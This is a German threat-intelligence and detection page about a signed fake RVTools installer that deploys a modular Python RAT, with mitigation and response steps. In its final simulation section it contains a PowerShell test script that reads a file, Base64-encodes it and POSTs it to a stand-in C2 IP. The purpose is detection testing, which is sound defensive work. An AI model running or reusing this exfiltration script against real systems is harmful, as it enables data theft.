RVTools-Maskerade: Wie ein signierter falscher Installer einen modularen Python RAT verteilt
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Ein bösartiger MSI-Installer, der mit einem legitimen Zertifikat signiert ist, gibt sich als das von VMware-Administratoren verwendete RVTools-Dienstprogramm aus. Nach der Ausführung legt der Installer ein VBScript ab, das PowerShell startet, um ein großes ZIP-Archiv von Dropbox herunterzuladen. Dieses Archiv enthält eine portable Python-Umgebung, die einen mehrstufigen RAT ausführt, der in der Lage ist, Aufklärung durchzuführen, Persistenz aufrechtzuerhalten und mit festgelegten Kommando- und Kontrollservern zu kommunizieren.
Untersuchung
Die Analyse verfolgte das MSI zu einer benutzerdefinierten VBScript-Aktion, Binary.MyScript.vbs, die einen verschleierten PowerShell-Befehl dekodierte. Dieser Befehl lud ein winp.zip Payload in %APPDATA%, extrahierte Python-Komponenten und Skripte wie collector.py and Pmanager.py, und stellte dann Persistenz über Registry-Run-Schlüssel und eine geplante Aufgabe nach einem Neustart her. Forscher fanden außerdem heraus, dass der RAT gesammelte Daten mit RC4 verschlüsselte und in fünfminütigen Intervallen zu fünf festen IP-Adressen sendete.
Minderung
Organisationen sollten eine strikte Code-Signatur-Validierung mit Live-OCSP- oder CRL-Prüfungen durchsetzen, die Ausführung von nicht vertrauenswürdigen MSIs blockieren und nach verdächtigen benutzerdefinierten VBScript-Aktionen in Installer-Paketen überwachen. Verteidiger sollten auch die automatische Ausführung heruntergeladener Skripte verhindern, nach neuen Run-Key-Einträgen und der Erstellung geplanter Aufgaben Ausschau halten und bei ausgehendem Datenverkehr zu unbekannten, fest codierten IP-Adressen Alarm schlagen.
Reaktion
Falls diese Aktivität erkannt wird, das betroffene Endgerät sofort isolieren, das MSI, das VBScript und die extrahierten Payload-Dateien für die forensische Analyse sammeln und alle Persistenz-Artefakte, einschließlich Run-Key und geplanter Aufgabe, entfernen. Die identifizierten Kommando- und Kontroll-IP-Adressen sollten an der Firewall blockiert werden, und eine umfassendere Überprüfung von Anmeldeinformationen und Aktivitäten im Active Directory sollte durchgeführt werden, um festzustellen, ob seitliche Bewegungen stattgefunden haben.
Angriffsfluss
Erkennungen
LOLBAS WScript / CScript (über Prozesserstellung)
Anzeigen
Python-Ausführung aus verdächtigen Ordnern (über cmdline)
Anzeigen
Möglichkeit der Ausführung durch versteckte PowerShell-Befehlszeilen (über cmdline)
Anzeigen
Ein Archiv wurde mit Powershell in ein verdächtiges Verzeichnis entpackt (über powershell)
Anzeigen
Mögliche Dropbox-API-Subdomains-DNS-Abfragen, die von nicht legitimen Prozessen initiiert wurden (über dns_query)
Anzeigen
IOCs (HashSha256) zur Erkennung: RVTools-Maskerade: Wie ein signierter Fake-Installer einen modularen Python-RAT bereitstellt
Anzeigen
IOCs (HashMd5) zur Erkennung: RVTools-Maskerade: Wie ein signierter Fake-Installer einen modularen Python-RAT bereitstellt
Anzeigen
Erkennung der Datenexfiltration über fest codierte IPs und HTTP POST [Windows-Netzwerkverbindung]
Anzeigen
Erkennung der bösartigen PowerShell-versteckten Ausführung und Invoke-WebRequest [Windows Powershell]
Anzeigen
Verdächtiger RVTools-Fake-Installer, der Python RAT bereitstellt [Windows-Prozesserstellung]
Anzeigen
Simulationsausführung
Voraussetzung: Der Telemetrie- und Baseline-Preflight-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Gegnertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die exakte Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
Ein Gegner, der bereits einen Fuß auf der Opfermaschine etabliert hat, entscheidet sich, einen kleinen Datensatz zu exfiltrieren (z.B.,C:Tempsecret.txt). Um zu vermeiden, generische Alarme für ausgehenden Verkehr auszulösen, verwendet der Akteur einen PowerShell Einzeiler, der einen HTTP-POST direkt zu einer der fest codierten C2-IPs durchführt (192.0.2.10). Der Befehl wird über eine Windows Geplante Aufgabe eingeplant, um Persistenz sicherzustellen (T1546.013). Keine zusätzlichen Binärdateien werden abgelegt, wodurch die Aktivität „living-off-the-land“ bleibt. -
Regressionstest-Skript:
# ------------------------------------------------- # PowerShell-Skript – Datenexfiltration über fest codierte IP # ------------------------------------------------- $c2Ip = "192.0.2.10" $c2Port = 80 $uri = "http://$c2Ip/exfil" $file = "C:Tempsecret.txt" # Sicherstellen, dass die Datei existiert (Dummy-Daten für Test erstellen) if (-Not (Test-Path $file)) { "sensible Daten $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII } # Dateiinhalte lesen und Base64-verschlüsseln $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file)) # HTTP-POST ausführen $body = @{ data = $payload } try { Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10 Write-Host "Exfiltrationsversuch gesendet an $c2Ip" } catch { Write-Error "Exfiltration fehlgeschlagen: $_" } -
Bereinigungskommandos:
# Entfernen der Dummy-Datei Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue # Löschen Sie alle für den Test erstellten geplanten Aufgaben (falls vorhanden) $taskName = "DataExfilTask" if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false }